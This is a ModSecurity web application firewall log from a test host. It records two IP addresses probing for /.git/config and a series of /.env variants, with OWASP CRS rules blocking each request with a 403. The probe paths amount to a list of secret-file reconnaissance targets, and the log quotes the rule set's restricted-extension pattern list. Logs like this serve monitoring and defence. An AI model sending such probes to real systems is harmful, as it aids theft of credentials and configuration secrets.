[Mon Jun 30 13:40:51.532291 2025] [:error] [pid 3624148] [client 77.90.153.170:41670] [client 77.90.153.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ3w5tDtSe7viRvdJRrzAAAAAk&quot;]
[Mon Jun 30 13:40:51.532464 2025] [:error] [pid 3624148] [client 77.90.153.170:41670] [client 77.90.153.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ3w5tDtSe7viRvdJRrzAAAAAk&quot;]
[Mon Jun 30 14:12:19.092702 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwAAAAAM&quot;]
[Mon Jun 30 14:12:19.093036 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwAAAAAM&quot;]
[Mon Jun 30 14:12:19.093208 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwAAAAAM&quot;]
[Mon Jun 30 14:12:19.115111 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwQAAAAM&quot;]
[Mon Jun 30 14:12:19.115366 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwQAAAAM&quot;]
[Mon Jun 30 14:12:19.115548 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwQAAAAM&quot;]
[Mon Jun 30 14:12:19.137511 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwgAAAAM&quot;]
[Mon Jun 30 14:12:19.137770 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwgAAAAM&quot;]
[Mon Jun 30 14:12:19.137959 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwgAAAAM&quot;]
[Mon Jun 30 14:12:19.159832 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwwAAAAM&quot;]
[Mon Jun 30 14:12:19.160068 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwwAAAAM&quot;]
[Mon Jun 30 14:12:19.160259 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VwwAAAAM&quot;]
[Mon Jun 30 14:12:19.182116 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxAAAAAM&quot;]
[Mon Jun 30 14:12:19.182386 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxAAAAAM&quot;]
[Mon Jun 30 14:12:19.182567 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxAAAAAM&quot;]
[Mon Jun 30 14:12:19.204469 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxQAAAAM&quot;]
[Mon Jun 30 14:12:19.204715 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxQAAAAM&quot;]
[Mon Jun 30 14:12:19.204908 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxQAAAAM&quot;]
[Mon Jun 30 14:12:19.226871 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxgAAAAM&quot;]
[Mon Jun 30 14:12:19.227115 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxgAAAAM&quot;]
[Mon Jun 30 14:12:19.227326 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxgAAAAM&quot;]
[Mon Jun 30 14:12:19.249301 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxwAAAAM&quot;]
[Mon Jun 30 14:12:19.249545 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxwAAAAM&quot;]
[Mon Jun 30 14:12:19.249853 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VxwAAAAM&quot;]
[Mon Jun 30 14:12:19.272386 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyAAAAAM&quot;]
[Mon Jun 30 14:12:19.272794 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyAAAAAM&quot;]
[Mon Jun 30 14:12:19.273097 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyAAAAAM&quot;]
[Mon Jun 30 14:12:19.294879 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyQAAAAM&quot;]
[Mon Jun 30 14:12:19.295038 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyQAAAAM&quot;]
[Mon Jun 30 14:12:19.295292 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyQAAAAM&quot;]
[Mon Jun 30 14:12:19.295507 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VyQAAAAM&quot;]
